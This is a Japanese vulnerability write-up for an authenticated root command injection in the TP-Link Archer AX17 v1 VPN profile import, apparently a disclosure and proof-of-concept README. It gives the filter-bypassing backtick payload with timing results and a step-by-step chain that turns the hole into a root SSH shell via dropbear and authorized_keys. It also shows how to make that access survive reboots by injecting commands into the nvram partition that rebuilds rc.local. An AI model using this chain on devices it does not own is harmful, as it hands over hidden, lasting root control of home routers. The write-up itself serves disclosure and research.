
TP-Link Archer AX17 v1 の VPN クライアントインポートにおける認証済み OS コマンドインジェクション。
Archer AX17 v1 の VPN クライアントインポートにおける、認証済みの OS コマンドインジェクション。
LAN 上の管理者が OpenVPN クライアントプロファイルをインポートする。プロファイルの説明はファイル名 /etc/openvpn/<des>.ovpn として保存される。そのプロファイルを読み取ると、パスが /tmp/ovpn_curr_edit に書き込まれる。次にアップロードをステージしない状態で VPN の書き込みを行うと、そのパスがクォートされずに grep と sed に渡され、これらは Web サーバーによって root として実行される。
説明のフィルターは /、;、|、およびスペースを拒否し、文字列を 64 文字に制限する。バッククォートは通過するため、ペイロードは S`sleep${IFS}1` となる。${IFS} がコマンドにスペースを与える手段である。
| 影響対象 | Archer AX17 v1、ファームウェア 1.1.28 P1 [20250523-rel65103]、および修正前のビルド |
| 修正済み | 1.5.0 Build 20260605 |
| アクセス | LAN 上の管理者セッション。ログイン前は到達不可。 |
| 影響 | root 権限でのコマンド実行 |
poc.js を貼り付ける。await poc(0) を実行し、続いて await poc(1) を実行する。poc(0) は数百ミリ秒で戻る。poc(1) は約 1 秒長くかかる。この差が root として実行されている sleep 1 である。スクリプトは自身が作成したプロファイルを削除する。
1.1.28 でテスト済み。poc(1) は 1238 ms、poc(3) は 3504 ms、poc(7) は 7204 ms であり、対照は 324 ms であった。
インジェクションは root として実行されるため、dropbear を起動できる。このビルドに関して重要な点が 2 つある:
-L(「SSH セッションログインを有効化」)が必須である。これがないと dropbear は認証を行った後、すべてのシェル要求に exec request failed と応答する。/etc は ramfs である。rc.local、/etc/shadow、/etc/dropbear/authorized_keys は起動のたびに squashfs から再構築される。永続化されるのは nvram パーティションのみである。これにより、一時的な方法と恒久的な方法に分かれる。
ssh-temp.js には 2 つの呼び出しがある:
await sshTemp(); // dropbear -C -L -p 2222
await runStaged('r'); // sh /tmp/r as root
sshTemp() は Web アカウントモードで dropbear を起動する。ルーターの管理者パスワードでログインする:
ssh -p 2222 -o HostKeyAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 admin@<router>
このシェルは uid 1000(admin)であり root ではなく、/etc に書き込むことはできない。権限を昇格するには、ssh-root.sh を /tmp/r にステージする:
cat > /tmp/r <<'EOF'
... ssh-root.sh with your public key ...
EOF
その後、コンソールから runStaged('r') を呼び出す。インジェクションはスクリプトを uid 0 で実行し、/etc/dropbear/authorized_keys を書き込み、dropbear -L -p 2227 を起動する。(runStaged は Web バックエンドの作業ディレクトリが /www であるため、${PWD%www} から /tmp/<name> を構築する。)接続する:
ssh -i <key> -p 2227 -o HostKeyAlgorithms=+ssh-rsa \
-o PubkeyAcceptedAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 root@<router>
これは次回の再起動まで維持される。
ssh-persist.sh を root として実行する(例: 一時的な root シェル経由で)。これは nvram の profile パーティションに rc.local を追記する。S10boot がそのパーティションを /etc に復元してから S95done が /etc/rc.local を実行するため、コマンドは起動のたびに実行される。
このパーティションは暗号化された行指向の uci XML である。<dir> は /etc/<dir> を作成し、<file> は /etc/<dir>/<file> を作成し、タグ名は option の後にそのまま書き込まれる。したがって ; で始まるタグは rc.local に次のように配置される:
option ;<command> # 'x'
これにより <command> が root として実行される。スクリプトはベンダーの profile.d ブロックを保持し、次のように書き込む:
option ;echo <pubkey>|tee /etc/dropbear/authorized_keys # 'x'
option ;/usr/sbin/dropbear -L -p 22 # 'x'
再起動後、root の SSH は同じ鍵でポート 22 で待ち受ける。まずパーティションをバックアップすること。スクリプトはバックアップのパスと復元コマンドを表示する。
注意: このファームウェアには chpasswd が存在しない。これを使って root パスワードを設定しようとしないこと。authorized_keys(上記のとおり)または passwd を使用すること。